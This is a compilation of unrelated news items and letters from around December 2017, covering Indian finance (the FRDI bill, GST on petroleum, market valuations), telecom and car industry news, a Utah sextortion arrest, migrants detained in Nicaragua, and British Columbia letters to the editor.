The joint committee on the FRDI Bill, 2017 have decided to seek extension of time up to the last day of Budget Session, 2018, as the report of the joint committee would not be ready for presentation by December 15.

The joint committee's motion regarding extension of time could not be moved on December 15 "as the House was adjourned after making obituary references. Hence, I have on behalf of the House granted extension of time," Mahajan said during Zero Hour.

The bill proposes to create a framework for overseeing financial institutions such as banks, insurance companies, non-banking financial services (NBFC) companies and stock exchanges in case of insolvency.

The so-called "bail-in" clause in the draft legislation has been commented upon by experts as of bringing potential harm to deposits, in the form of savings accounts.

The 'Resolution Corporation', proposed in the bill, would look after the process and prevent the banks from going bankrupt. It would do this by "writing down of the liabilities", a phrase some have interpreted as a "bail in".

It also empowers Resolution Corporation to cancel the liability of a failing bank or convert the nature of the liability.

At present, all deposits up to Rs 1 lakh are protected under the Deposit Insurance and Credit Guarantee Corporation Act that is sought to be repealed by the bill.

Last week, Finance Minister Arun Jaitley said the government would fully protect public deposits in financial institutions and hinted at openness to changes in the bill.
With a consistent demand for the inclusion of petroleum products under the GST, the government may soon bring in these products under the uniform tax regime. The first clear indication on this came from Union Finance Minister in Parliament on Tuesday when he said the government was willing to include petrol, diesel and other allied products under the Goods and Services Tax (GST), and that before the GST Council took a decision, the government was awaiting response from different states of the country. Four days ago, Bihar Finance Minister and GST Council member Sushil Modi had said the government should bring in petroleum under the GST ambit. Also, the Petroleum Ministry has been advocating for a uniformity of taxes on petroleum products due to price variation in states after levying of Value Added Tax (VAT).

Answering a question asked by Telugu Desam Party (TDP) MP Devendra Goud in Rajya Sabha, Jaitley said the constitution amendment, already passed and ratified by state assemblies, has kept petroleum and allied products under the GST, but the final decision would be taken by the GST Council only. "We don't need to amend any law if petroleum products are to be brought into the GST, but only after the council takes a decision is when it will be introduced," he said.

On December 15, Bihar Finance Minister and GST Council member Sushil Modi had said electricity, real estate, stamp duty, and petroleum products should become a part of the GST regime. He also added that the GST council could merge 18 per cent and 12 per cent tax slabs and reduce the highest tax slab from 28 per cent to 25 per cent once the tax collection "stabilises". Sushil Modi had also assured the states that their revenues would unaffected as they would be free to levy addition cess to the petroleum products.

During the Rajya Sabha proceedings, former finance minister P Chidambaram also asked Jaitley to tell the House when the final decision would be taken. Jaitley retorted saying the previous Congress regime knew that the petroleum inclusion in the GST could be a "deal breaker", and so it kept petroleum products out of the GST draft. He said he was hopeful that the centre government and states would soon reach a consensus on the issue.

In its biggest GST tax rate change, the GST Council on November 10 had slashed tax rates on over 200 items but kept the petroleum products out of the GST. As many as 178 items of daily use were moved from the higher tax bracket of 28 per cent to 18 per cent, while a uniform 5 per cent tax was prescribed for all type of restaurants.

Besides, several reports on Sunday said the government had ignored several warnings from private companies that the complex technology required for a nationwide goods and services tax GST) to work smoothly was not ready for launch. Weeks before the July 1 start of India's biggest tax overhaul in decades, the government declared itself ready and chided industry experts who said more time was needed to prepare for the changes, reports said. More than 10 tax and IT consultants who worked on the project said that behind the scenes the government was ignoring warnings for more testing of the complex system even as it was pushing through late changes.

While the sources said Infosys, which built the GST technological network, made "basic errors", they said government officials have not accepted any responsibility for the glitches in the GST roll out. The government is still making changes to tax rates, filing deadlines, and other features, making it difficult to stabilise the system, they said, declining to be identified for fear of losing future government contracts. The finance ministry and GSTN, the government authority managing the GST network, declined to comment on specific problems about the GST rollout or specific warnings by industry that more time was needed for testing. The GST law was debated for decades, industry had enough time to prepare, and glitches are being fixed, a finance ministry spokesman said.
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IT department to issue notices to HNIs

Widening its probe into bitcoin investments and trade, the Income Tax (IT) department is set to issue notices to 4 to 5 lakh high networth individuals (HNI) across the country who were trading on the exchanges of this unregulated virtual currency.Surveys were conducted at nine such exchanges last week to check instances of tax evasion.

Payment of Gratuity (Amendment) Bill, 2017 introduced

The government has introduced a bill in the Lok Sabha that will allow it to notify a higher period of maternity leave and raise gratuity limit for employees. The gratuity limit for private sector is expected to be raised to Rs 20 lakh in line with that in the government sector. Labour minister Santosh Kumar Gangwar introduced the Payment of Gratuity (Amendment) Bill, 2017 in the House.

Process for mapping Aadhaar-linked accounts to subsidy payments, overhauled

The government is overhauling the process followed by banks for mapping Aadhaar-linked bank accounts to subsidy payments. It has also temporarily stopped the provision of overwriting existing subsidy-linked bank accounts with freshly mapped Aadhaar accounts. In a meeting held at the cabinet secretariat last week, banks were directed to stop the current process for the next 10 days starting Monday until their core banking software was changed to adopt the new system.

Adani Group cancels contract with Downer EDI

The Adani Group has cancelled an A$2 billion contract with Australian mining services company Downer EDI as part of a cost-cutting drive. Downer EDI is an engineering and infrastructure services provider. The contract relates to the A$16.5 billion Carmichael coal mine project, one of the world's largest. Adani added that the move was "simply a change in management structure" and that it is committed to developing the Carmichael project.



Maruti market share bypasses norms set globally

The largest automobile player in the Indian market, Maruti Suzuki, holds what is considered an abnormally high market share, compared to market leaders in other big markets. It also continues to expand on its market. Maruti is now at a market share of 50.4 per cent, up from 47.3 per cent last year. In China, the world's biggest market, Volkswagen is the largest, with a share of 17 per cent. In America, the second biggest, GM is leader with 18 per cent. In Japan, home to Maruti's parent, Suzuki, the biggest player, Toyota, has 28 per cent. In Germany, fourth largest, Volkswagen is leader with 21 per cent. Ford leads the British market with a share of about 12 per cent. Maruti has been able to expand market share in each of the past six years.

Xiaomi on a high

Xiaomi India is on a high. It's on the brink of exceeding the $2 bn revenue mark this calendar year and is confident about maintaining this momentum next year too. The brand is riding on its offline expansions and product launches beyond smartphones. The company has sold 4 million handsets in one month period of Diwali, a first for any smartphone brand in India.

BMW electric cars hit 1 lakh sales target

BMW said it had hit its target of selling 100,000 electric cars this year around the world, benefiting from strong demand in western Europe and the United States for models such as the i3 and the 2-series plug-in hybrid Active Tourer. This is more than 60 percent up from the 62,255 electric cars BMW sold last year. The German luxury carmaker has said it expects 2018 electric-vehicle (EV) sales to grow by a medium two-digit percentages.



India's mutual fund industry breaks records

India's mutual fund industry witnessed an incredible journey in 2017. The year saw the industry break previous records it had set during the 2006-07 Bull Run. The total assets under management (AUM) hit historic highs, investor count climbed new peaks and inflows through the systematic investment plan (SIP) route saw huge improvement. In all, the inflows in fund industry has been to the tune of over Rs 4 lakh crore

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Achieving a humongous target of $1-billion sales in 2016-17 financial year, Xiaomi India is going to set another benchmark this calendar year by doubling the last year's sales. Xiaomi India managing director (MD) Manu Kumar Jain said on Monday that the company would cross the $2-billion revenue mark this calendar year. Within a year Xiaomi has reached the top spot in the mobile phone market in India - giving a tough competition to Samsung - though it does not have a very significant offline presence; nearly 80 per cent of Xiaomi's sale revenue comes from the online route. The company sold over four million handsets in the month of Diwali in October alone, a target that was never achieved before by any smartphone company in India.

According to a report in Economic Times, Manu said he was hopeful that the company would maintain the revenue tempo in the next financial year as well. Apart from eying offline expansion, the company plans to launch products beyond smartphones. "We are closing our books now, but pretty sure to exceed $2-billion this year. As far as market shares concerned, we have 50% share in online sales and 23.5% in overall market and we became number one last quarter. We are looking at leadership position in India for the long run," said Jain, reported ET.

However, Xiaomi India Online Sales head Raghu Reddy on Monday said sales from the mainstay online channel would further decline to about 70 per cent as the company planned to boost its offline presence in India. "The share of online sales will reduce to 70 per cent in the near future," Raghu said. Apart from 14 exclusive company-owned stores, Xiaomi has opened 1,000 sales points, mostly through franchisees, in 15 cities so far. Reddy added the company has a market share of 50.8 per cent in online smartphone sales in the Q3 period of 2017.

With inputs from PTI






After hitting an all time high of 33,865.95 on November 7, 2017, BSE Sensex has moved in a range of 1,000 to 1,300 points. And on Tuesday, the BSE Sensex traded close to its high at 33,709.69. The biggest trigger for markets has been the rush of liquidity from domestic investors, which experts say has taken them far above what current fundamentals justify. "We believe the Indian market is overvalued," says Saurabh Mukherjea, CEO, Ambit Capital.

Experts say poor corporate results make it difficult to justify the steep, and rising valuations. No big improvement is expected in the next two quarters.

"When investor sentiment is positive, one should be cautious," says S. Naren, Executive Director & CIO, ICICI Prudential AMC. "We are in a midway phase. It's neither a bull nor a bear market and, therefore, there is no scope to give a proper call. While valuations aren't cheap, the cycle has not peaked either. The only call is to stay put with old investments and be careful while making new ones." Naren says the Indian market can be best described as standing at a signal where the light is yellow. It's neither red, where one can say sell, and it's neither green, where one can keep buying, he says, adding that banking and infrastructure can deliver high returns, though they are also risky. He says pharmaceutical and IT are cheap if one wants to invest for the long term but not much sought after due to regulatory issues in their biggest market -- the US. A strong rupee is also impacting their huge dollar revenues.

These two sectors, he says, can work for a classic value investing strategy. "Buy plays on financial savings and companies in sectors where the black economy is getting smaller," says Mukherjea of Ambit Capital. While most experts suggest caution, it's clear that the focus should remain on large caps. "As there has been a convergence between large-cap and mid- and small-cap stocks, the view is clearly to pick the large-cap stocks," says Naren.

"It's purely a stock picker's market where a bottom-up approach will work. You can't invest across the board as the valuation of the overall market is high. Therefore, consider companies with stable businesses and strong balance sheets that have a record of creating value. Most important, these should be available at a discount to their intrinsic value," says Vikas Gupta, Chief Investment Strategist and CIO of Omniscience Capital.

Study Tour

BT, with Omniscience Capital, a Mumbai-based hedge fund, conducted a study to find value stocks. In keeping with Naren's view that it makes sense to invest in large caps in this market, we selected 239 companies with market capitalisation of Rs 10,000 crore-plus for the study. These 239 companies represent nearly 80 per cent of the Indian stock market universe.

The study's findings are quite interesting. The list of 37 buys the filter throws up (for methodology, see Selecting Value Buys) does not have stocks from telecom sectors. The list is dominated by technology, basic material, consumer goods and oil & gas companies. "These are companies that have strong balance sheets, stable business operations and enough financial resources to handle the near-term uncertainties. However, there is some unpredictability in near-term growth in earnings or some other short-term issue," says Gupta.

"The list of 37 companies looks undervalued. These are 37 per cent cheaper in terms of price to earnings (PE) multiples as compared to the overall portfolio of 239 companies (PE 26). On the fundamental side, the portfolio's return on equity, or RoE, is nearly double than that of the market portfolio (12 per cent). The dividend yield is also 50 per cent higher. Their balance sheets are also cash rich (nearly 15 per cent equity is available in cash). The asset turnover ratio (the ratio of revenues relative to the value of assets) is also high at nearly 95 per cent," says Gupta. "If investors have the patience to hold on to these stocks and avoid the temporary noise surrounding them, they are likely to see value unlocking between six and 36 months," says Gupta.

Sector Calls

Technology



Recommendation: Buy

The sector has been beaten down due to concerns over growth. However, these companies are cash rich. They have also invested in new technologies such as digital, mobile and artificial intelligence. So far, these businesses account for a small portion of the revenue. However, the new technology business is growing at 25 per cent per year. In three-five years, it will be a significant earner and contribute 40-80 per cent to revenues, from 10-20 per cent levels at present. Second, these tech companies are available cheap, have no leverage and are sitting on huge cash.

Health Care

Recommendation: Buy

The recent stringent USFDA inspections have led to pessimism about pharmaceutical stocks. The only option for these companies is to get their act together if they want to remain in business. Most are already working to raise quality to global levels to survive in their biggest market, the US. Second, the US administration is batting for low-priced drugs, making Indian pharmaceutical companies, a big producer of the cheaper generic drugs, a prime beneficiary. At current valuations, they are a good buy.



Basic Materials

Recommendation: Be Selective or Stay Away

Buy if the companies have zero leverage and are profitable and cash rich. Otherwise, it's a sell.



Financials

Recommendation: Be Selective or Stay Away

Be careful in picking stocks. Buy only government-owned NBFCs whose operations are solid and which are not facing the problem of high non-performing assets or NPAs. Business will get a boost with government initiatives for rural power and electrification. Stay away from PSU banks as they are struggling with high NPAs that will not come down any time soon. Stay away from private banks due to overvaluation.



Consumer Services, Telecom, Utilities & Industrials

Recommendation: Sell

Nothing worthwhile here. The companies in industrials and utilities are highly leveraged. Companies in consumer services are fairly or overvalued, while those in telecom are struggling operationally.



Oil & Gas

Recommendation: Hold/No fresh buys

Only consider government-backed PSU which are cash rich. No fresh buys at current valuation. Hold if these are already a part of the portfolio.



Consumer Goods

Recommendation: Be selective or stay away

Buy only two-wheeler and auto ancillary companies. Stay away from commercial vehicle, four wheeler and tractor makers as they are fairly valued or overvalued. Even in the two-wheeler segment, buy zero leverage companies that are undervalued. Do not buy any stock in the space that is available at a PE of more than 30 times.
Telecom operator Bharti Airtel on Monday said that it has signed an agreement with Millicom International Cellular S.A. to acquire 100 per cent stake in its Rwanda operation which operates under the brand name of Tigo Rwanda. "Bharti Airtel Limited...has entered into a definitive agreement with Millicom International Cellular S.A. (Millicom) under which Airtel Rwanda Limited will acquire 100 per cent equity interest in Tigo Rwanda Limited," Bharti Airtel said in a statement.

Under this deal, Tigo's 370 million customers will join the network of Airtel Rwanda. The acquisition will make Airtel Rwanda the second largest operator in the country with revenues of over USD 80 million and a revenue market share of over 40 per cent, the statement said.

"The consideration for the transaction is based on approximately 6x EBITDA multiple, payable over two years. The agreement is subject to regulatory and statutory approvals," the statement said.

Airtel at present operates in 15 African countries apart from India and South Asia. "Airtel and Tigo have already merged their operations to create a strong viable entity in Ghana. Today, it has taken yet another important step to acquire Tigo Rwanda to become a profitable and a strong challenger in a two-player market," Bharti Airtel Chairman, Sunil Bharti Mittal said.

In the past, Airtel acquired assets in Uganda (Warid) and Congo B (Warid), Kenya (yu Mobile) and consolidated operations in Ghana (Millicom).

"We are also committed to the long term viability of our operations in two other countries i.e. Kenya and Tanzania, to ensure that in 2018 all our 15 operations in Africa start contributing positive margins and cash flows towards a healthy and profitable Airtel Africa," Mittal said.

Airtel is one of the largest telecom service providers across the continent in terms of geographical reach and had close to 83 million customers at the end of quarter ended September 30, 2017, the statement said.
Samsung introduced the latest entrants in its A-series, the Galaxy A8 (2018) and A8+ (2018) on Tuesday. The Korean tech giant has equipped these new smartphones with Infinity Display to make the feature, otherwise seen on its flagship devices like Galaxy S8 and Galaxy S8+, more mainstream. Apart from the bigger screens, both Galaxy A8 and Galaxy A8+ will come with dual front cameras, a first for Samsung.

"With the release of the Galaxy A8 (2018) and A8+ (2018), we're bringing our customers' favourite features from our flagship smartphones, such as the Infinity Display and our first Dual Front Camera with Live Focus, to our Galaxy A series," said Junho Park, Vice President of Global Product Planning, Mobile Communications Business, Samsung.

The talking point for Samsung Galaxy A8 (2018) and Galaxy A8+ (2018), the dual selfie cameras, has 16Megapixel and 8Megapixel camera modules with f/1.9 aperture. The Live Focus feature of dual camera allows users to adjust the bokeh feature before and even after clicking selfies. Users can also easily switch between the two camera modules. The primary shooter is a 16Megapixel unit with f/1.7 lens.

The Infinity Displays on both the phones have Super AMOLED panels with an aspect ratio of 18.5:9 and a resolution of 2220X1080 pixels. The Galaxy A8 comes fitted with a 5.6-inch screen, whereas the Galaxy A8+ has a bigger 6-inch screen.

The new Samsung Galaxy A8 and Galaxy A8+ comes with IP68 water and dust resistance which company claims can protect the phones from sweat, dust, sand, and rain. These two will also be the first phones from the A-series to support Samsung's Gear VR headset. Both phones will come with support from Samsung Pay, near field communication (NFC), and magnetic secure transmission (MST) for transactions.

On the performance front, the Galaxy A8 (2018) and A8+ (2018) will come with an octa-core processor, with two cores clocked at 2.2 GHz, and the rest six clocked at 1.6 GHz. On the memory front, the new Galaxy A8 will come with 4GB RAM coupled with either 32GB or 64GB RAM. On the other hand, Galaxy A8+ (2018) will have a 4GB/32GB variant and a 6GB/64GB variant. Both the phones will have microSD card support for up to 256GB. Both phones will run Android 7.1.1 Nougat out of the box.

These two devices will be available in black, orchid grey, gold and blue. While the prices have not been declared yet by the company, these phones are expected to compete in the under Rs 40,000 category, where Samsung is facing fierce competition from OnePlus, Nokia, and Xiaomi. The exact prices will be declared when the phones go on sale in January 2018. Samsung might showcase its new devices at the CES 2018, scheduled in the first half of January, before the official launch.
Courtesy of the Cache County Jail

LOGAN  A preliminary hearing has been scheduled for a 21-year-old Idaho man who was arrested last week, accused of extorting nude photos and videos from a Hyrum girl. Michael B. Powell was arrested on December 12 and is being held in the Cache County Jail on $100,000 bail.

Powell made his initial appearance in 1st District Court Monday afternoon. He has been charged with aggravated sexual extortion of a child, a first-degree felony, and 12 counts of sexual exploitation of a minor, a second-degree felony.

According to an affidavit for arrest warrant, Powell allegedly had a relationship with the 17-year-old girl that began two years ago. During that time, he convinced her to send him nude photos of herself. He then began blackmailing her for more graphic photos and videos, threatening to send the pictures he had to her family, if she didnt comply. When the girl tried to end the relationship with the suspect, she began receiving messages from an unknown social media account. The user also demanded more nude photos and videos or else he would send one of her nude pictures to others.

The threats allegedly continued through social media and text messages until the victim contacted a school resource officer at Mountain Crest High School. Deputies were able to access the social media accounts and text messages. They tracked them to Powell, who was living in Pocatello, Idaho.

During Mondays court appearance, Judge Kevin Allen scheduled a preliminary hearing, when he will determine if prosecutors have sufficient evidence to bind Powell over for trial. The hearing was set for January 3.

<hr /><p style=text-align: center;>will@cvradio.com
Nicaragua: Cameroonian assassinated in Nicaragua - Mother & Partner who travelled to collect remains of son illegally detained by Nicaraguan authorities

Mary Frinwie Atanga Azehfor (MaryLand) and her accompanying Tchamani Joseph Maglorie are detained at the National Judicial Relief Directorate of the National Police by Martha Vasquez Larios s 16/12/2017

Mary Frinwie Atanga (MARYLAND), the mother of the Cameroonian migrant. The Press/WILMER LOPEZ

The Penal chamber One of the Court of Appeals of Managua admitted a personal exhibition resource in favour of the Cameroonian Mary Frinwie Atanga Azehfor and her companion Tchamani Joseph Maglorie, for illegal detention. They are in the National Judicial Aid Directorate of the National Police.

The Cameroonians have been detained since 10 December, and they do not put them in the judge's order until today or leave them free.

The executing judge assigned is Leon Octavio Illescas Sanchez, who said that he will be in front of the institution on Monday 18 December in coordination with the lawyer Salvador Lulio Marenco Contreras, who filed this resource for violation of rights Individual foreigners, such as free mobilization and due process.

Read further: State of Nicaragua "criminalizes migration", according to Cenidh

According to this appeal brought against the Commissioner Luis Alberto Perez Olivas, head of the Directorate of Judicial Assistance (DAJ), the Cameroonians entered Nicaragua on 4 December with the aim of removing the body of Mbang Atanga Azehfor, an illegal migrant who was Shot dead by the Nicaraguan Army and the National Police on September 29, 2017 at the Las Lajas Bridge in Rivas.

Murdered migrant, Ministry of government

The Cameroonians Mary Frinwie Atanga Azehfor and her accompanying Tchamani Joseph Maglorie have been detained illegally for four days in the Chipote. The press/M. ESQUIVEL

Escorted by police

From that day on they were greeted at the Augusto C. Sandino International Airport in Managua by police officers and guarded to a planned hotel. The Africans managed to denounce what they were doing to them before they were officially retained.

In that week from 4 to December 7 they managed to meet with authorities of the Ministry of the Interior to know the circumstances in which the young Cameroonian, who was licensed in Microbiology, died, but they did not give them explanations. They also went to the Institute of Legal Medicine to see the body.

According to Atanga Azehfor, the Nicaraguan authorities charge him 8.200, 000 for taking the corpse of his son.

Also: Police link mother of migrant Cameroonian died in Nicaragua to international network of trafficking in persons

On Friday, December 7, after suffering persecution and siege by alleged government workers, and not receiving information about the death of his son, Atanga Azehfor publicly denounced the situation before the newspaper La Prensa.

Since then the harassment was worse, to the extent of kidnapping them in the hotel where they were staying, and they were not allowed to leave or to buy food.

On Sunday, December 10 was the last day that the complainant managed to speak in difficulty with a press team, because the supposed government workers had it closer, and at about 5:00 p.m. They were forcibly taken from the hotel and transferred to the DAJ.

On 12 December, after the press published on the disappearance of the Cameroonians, in the afternoon the National Police issued a statement where he points out of being part of a network of migrant traffickers and points to the migrant killed from being a trafficker Also.

In addition: Government of Nicaragua besieged mother of migrant Cameroonian since arrival

This hypothesis is rejected by Martha Cranshaw, coordinator of Nicasmigrante, because no coyote goes with his sister as in this case.

Nicaragua violates human rights

Martha Cranshaw, Nicasmigrante coordinator, and Vilma Nunez, of the Cenidh, recently expressed that Nicaragua is a signatory of the Convention on the Human rights of migrants and their families and is a protector of human rights, and therefore pledged to Respect the human rights of migrants and treat them as individuals, irrespective of their migratory situation.

Other human rights defenders recalled that in 2015 Nicaragua also violated the human rights of illegal Cuban and African migrants, by cutting their way through this country on the southern border.

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Credit picture: Mary Frinwie Atanga (MARYLAND), the mother of the Cameroonian migrant. The Press/WILMER LOPEZ
| BY Lynchy |

J. Walter Thompson Singapore has hired Farrokh Madon (pictured) as Chief Creative Partner.

Announcing the appointment, Jacco ter Schegget CEO, South East Asia J. Walter Thompson Company said, Over the past year with us, Farrokhs proven abilities as a big picture creative make him invaluable as our client portfolio continues to grow and we push forward with our business transformation for J. Walter Thompson and Mirum. Its one of my core beliefs that our people should be both talented and nice, and Farrokh more than delivers on both those counts.

Madon said, There has never been a more exciting time to build brands. The confluence of technology and storytelling is creating great opportunities to communicate in memorable ways. Im glad to join Jacco and the team in the exciting journey ahead.

Madon is one of the good guys of Singapore advertising and has a long history of prominent creative roles in Singapore having previously filled the ECD role at both BBDO and McCann Erickson Singapore and the Chief Creative Officer chair at Y&R Singapore. More recently he has been helping out J. Walter Thompson in a freelance CD capacity.

In a career spanning Singapore, Amsterdam and India, Madon has won over 150 prestigious advertising awards including a Grand Prix at AdFest and a Silver Nomination at D&AD. Work done on his watch has featured on CNNs Anderson Cooper show & FOX TV in America. He has also been the global creative lead on SIA and the Regional Creative Director on MasterCard, Gillette and Caltex.
Other intercepted phone calls between Youssef and another man suggest he wanted a recording of his office for the last week, and that the recording must be time and date stamped.
"There's a few other places to go, but I guess a lot more people go to proper swimming pools than this sort of thing where as this is the kind of thing that I grew up with in the Blue Mountains so we prefer this than the more structured environment of a swimming pool," Mr McGlashan said.
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"If something kicks off we are doing things like communicating with other towers, monitoring for wind changes and looking out for the fire."
Lawyers for the three accused had urged pressure be put on the prosecution, who had asked for the case to be adjourned as they awaited further financial documents relevant to the case, to progress the matter.
A Liberal cabinet minister said the dumping of infrastructure and transport minister Mr Chester had been brutal. Another Liberal said, "He's [Mr Joyce] basically just said you are my enemy, you are out," to Mr Chester and Mr Pitt, who goes from a junior trade role to the backbench.
The Hyundai Tucson is entering the 2018 model year with a host of improvements which seek to increase its appeal.



Currently arriving at dealerships, the 2018 Tucson gains a new SEL variant which is based on last years SE Popular Equipment package. Hyundai didnt release detailed specifications but confirmed the model comes with HD Radio, SiriusXM Radio, and a 7-inch Display Audio system with Android Auto and Apple CarPlay compatibility. The model also offers heated front seats which should please drivers in colder climates.

The Tucson SE Plus has been renamed the SEL Plus and it features an Infinity premium audio system as well as 3-years of complimentary Blue Link Connected Care, Remote Services & Guidance. The Tucson Limited builds on these features and adds a new heated steering wheel.

Additional changes are limited but the YES Essentials fabric seats are now available in Gray and Beige interiors. The Eco and Night variants have also been eliminated, while Value models can now be equipped with an auto-dimming rearview mirror and HomeLink. Lastly, the Guidance Package now includes free map and multimedia system updates.

Engine options carryover and include a 2.0-liter four-cylinder engine that produces an estimated 164 hp (122 kW) and 151 lb-ft (204 Nm) of torque. The crossover is also offered with a turbocharged 1.6-liter four-cylinder engine which develops 175 hp (130 kW) and 195 lb-ft (264 Nm) of torque.

Photo Gallery
Mercedes-AMG offers a dizzying array of high-performance models including everything from the entry-level CLA 45 to the bonkers G65.



The companys lineup has also grown in recent years thanks to new additions such as the C43, E43, and GLC 43. These budget-friendly models offer the AMG experience at significant savings over full-blown AMG vehicles such as the C63.

Automotive News reports the new 43 lineup has helped to increase AMG sales in the United States by 50 percent through the first eleven months of the year. In fact, the 30,116 AMG units sold so far represent nearly ten percent of all Mercedes sales in America this year alone.

AMG boss Tobias Moers is pleased with the results and told the publication we can expect a big expansion of AMG models in 2019. He declined to say what we can expect but the company will introduce the CLS 53 at the North American International Auto Show next month and it could be followed by 53 variants of the E-Class Coupe and Convertible as well as the GLE. 2019 will also mark the introduction of the four-door AMG GT which been dubbed the AMG GT 4.

Photo Credits: CarPix for CarScoops

Photo Gallery
The Honda Insight prototype will make its global debut at the Detroit Auto Show in January, previewing a more upscale production model set to arrive next summer.



As you can see, the Insight will move on from its quirky hatchback roots and become a five-passenger sedan, taking its place above the Civic in the Japanese automakers passenger car lineup.

With its sophisticated styling, dynamic stance, ample interior space and best-in-class performance, the all-new Insight embodies Hondas approach to creating electrified vehicles without the typical tradeoffs, said Honda exec, Henio Arcangeli Jr.

You wont have to be an electrification advocate to appreciate the new Insight  its a great car in its own right, independent of whats happening under the hood.

Compared to the old Insight, the all-new 2019 model features new styling, new packaging, premium features and improved performance, according to Honda. It will be powered by a two-motor hybrid system, said to offer fuel economy figures that are comparable to what you get in other compact hybrid models.

At the 2017 North American International Auto Show we announced our Honda Electrification Initiative with the intention to make two-thirds of Hondas global vehicle sales electrified vehicles by 2030, added Arcangeli. With the Insight launching later in 2018 as the fifth electrified vehicle brought to market over the past year, were demonstrating our commitment to that goal.

Honda will build the 2019 Insight at their Greensburg plant in Indiana, alongside the Civic and CR-V.

PHOTO GALLERY
General Motors has inadvertently confirmed that recently-leaked CAD designs of the C8 Corvette are indeed genuine.



Last week, the revealing images, detailing components including the vehicles engine and suspension systems, emerged online through the Corvette Forum. At the time, it was impossible to confirm whether or not the designs were directly from GM.

However, the American automaker recently reached out to Jalopnik asking them to remove an article posted with the designs. Additionally, General Motors was able to have these designs removed from a Jalopnik Facebook post after sending a Digital Millennium Copyright Act request through to the social media network.

Perhaps unknowingly, GM has admitted that the brand is the owner of the CAD designs.

Try as General Motors might, the mid-engine Corvette is perhaps the worst kept secret in the auto industry. Spy shots of the car have been circulating for the better part of three years and throughout 2017, images have shown the Corvettes development progressing at a steady rate.

Sources claim that Chevrolet will offer the C8 Corvette with three different powertrains, including the LT2, LT6, and LT7, one of which will be a hybrid. Production of the supercar is expected to commence in January 2019.

PHOTO GALLERY
The Lexus LF-1 concept will arrive at the 2018 Detroit Auto Show in January to preview the automakers new flagship SUV.



In a previous teaser, we saw a little bit of its sloped rear end, which features a continuous light strip hugging the tailgate as well as some of the rear bumper and fenders.

We also know that the LF-1 was designed in Southern California at the CALTY design studio, and that it will represent the next step in the Japanese automakers current design language.

This latest teaser shows a partially lit front fascia, with pointy and aggressive-looking LED daytime running lights and a backlit badge in the middle of the grille, which may turn out to be just as massive as the one on the all-new LS saloon.

The LF-1 will be unveiled on January 15, at approximately 8:35 AM EST (1:35 PM GMT) in Detroit, and the entire event will be streamed online here.
Volkswagen subsidiary Electrify America has announced plans to build more than 2,800 charging stations throughout the United States by June 2019.



VW created Electrify America as part of its diesel settlement with the U.S. federal government to spend $2 billion on electric vehicle charging stations across the country.

In a statement, the company confirmed that the 2,800 Level 2 charging stations will be located at approximately 500 sites across the 17 largest metropolitan areas in the United States. These stations will provide electric vehicles with roughly 20-25 miles of range per hour of charging, a far cry from the quick-charging stations appearing around the world.

Electrify America intends on building 75 per cent of its charging stations at existing workplaces while the remaining stations will be found at apartment buildings, condominiums, and other multi-family properties. Rather than provide EV owners with quick-charging options, VW hopes its more affordable solution will perfectly suit those looking to charge their EVs during work hours or while theyre at home.

Speaking about the plan, chief executive of Electrify America Mark McNabb said the charging stations will make owning an EV more convenient.

One of the biggest barriers to the mass-market adoption of electric vehicles is access to chargers. Having chargers where people work  and live  will help them see that an electric vehicle can be their primary vehicle because charging is convenient and reliable at the places where they spend time.

PHOTO GALLERY
I support proportional representation (PR) for many reasons. Good research shows countries using PR do better than countries such as Canada, that use winner take all voting systems on income equality, fiscal responsibility, economic and social stability, health, education, environment, and voter turnout. 85% of the worlds most economically advanced countries use some form of PR. A party receiving 40% of the vote receives 40% of legislative seats, not an unearned majority. A voting system that fairly represents the electorate, requires cooperation among politicians and parties, and promotes the well-being of its citizens. Can this be bad?

You might think so, listening to the fear mongering and misinformation coming from top Liberal brass, and big party partisans both Liberal (Tom Fletcher), and NDP (Bill Tieleman). Talk about making mountains out of molehills.

Yes, with proportional representation smaller parties such as the Greens and Conservatives will be more fairly represented in the Legislature. Good democracy in my books! But no, neither Neo-Nazis nor Communists will be taking over the province. All proposed made in British Columbia systems will impose a threshold (from 5 to 15% elsewhere in the world) below which parties will not be given added seats.

Yes, with proportional representation there will most likely be a reconfiguration of MLAs, towards NDP and Greens in rural BC, towards BC Liberals in the Lower Mainland, and towards Conservatives across the province. But no, there will not be a reduction in rural representation. The diverse voices of rural British Columbians will in fact be heard more strongly with this reconfiguration.

No voting system is perfect. The question is which voting system better reflects our values? Im voting for fairness, cooperation, stronger democratic participation and good governance in the upcoming referendum. I encourage readers to research proportional representation, and join me.

Susan Young
Allow me to give you an interesting timeline on the above results from Ms. Isobel Mackenzies office. I was considered my mothers most frequent visitor and received my survey questionnaire on or about September 5th. I completed and mailed the survey back on the 13th of September. The survey showed that the questionnaire was to be completed by Sept 22, 2017. Yet the results of this survey were heard on a radio interview with Ms. MacKenzie and a subsequent article followed on Sept 16th! Well before the survey deadline of September 22! I called the Advocates office but was unable to speak to Ms.MacKenzie to question this but was told the survey was in two parts. The covering letter from their office had no mention of this.

Another point of interest to me is the fact that the home my mother is in is not even included in the published results! I would ask why bother sending it to the residents and their family members then?Confusion and fatigue are a huge factor with a big majority of residents in residential homes, it seems almost cruel to put them through this and I wonder how accurate their answers would be. This would certainly be the case for my own 95 year old Mom.



In doing my own survey over the past three years (the last year in Complex Care in two facilities) I can honestly tell you what Ive learned in the process.

- get your loved ones name on a wait list for Assisted Living or Complex Care as there will be a substantial wait time. This also holds true for Private Pay complexes not funded by Interior Health.

- take tours of the facilities and keep in mind the size of a wheelchair and the bathroom size. Ask many questions but keep in mind that the manager and/or marketing assistant have a way of making things sound better than they will be!

- of the many that I saw 1 bath per week was the norm.

- A private facility (private pay/no funding) does not necessarily mean you will be getting better or more help

- some of the funded residences also have a few private pay rooms as well

- I cannot stress enough how important it is to be your loved ones Advocate: at doctors appointments, medications and hospital visits. Attend the residents family meetings to make your voice heard.

- treat the staff with the respect you would like them to give to your loved one.

- the majority of the staff that we have come into contact with have been very caring, hard working and loving - there just simply are not enough of them and thats where the problem lies.

It is next to impossible to meet the requirements of all the residents when faced with these time constraints and not enough staffing.



I hope the results of this survey will one day change this patient/staff ratio.

Donna Numminen
Photo: Contributed

What if the rugby player had gone too far?

Jake Taylor, 21, steps up. His actions stop an attackers stream of obscenities that elevated to trying to grab the 18-year-old womans head and shove it into his crotch, and slapping her face.

His heroism highlights the starkly contrasted inaction of those who sat there doing absolutely nothing.

A bystander who does nothing might be viewed as complicit, a point made by American law professor Amos Guiora in his book The Crime of Complicity: The Bystander in the Holocaust.

I wrote last week about a law he proposes, one that would impose a legal obligation on bystanders to at least do the very minimum of alerting authorities about a crime.

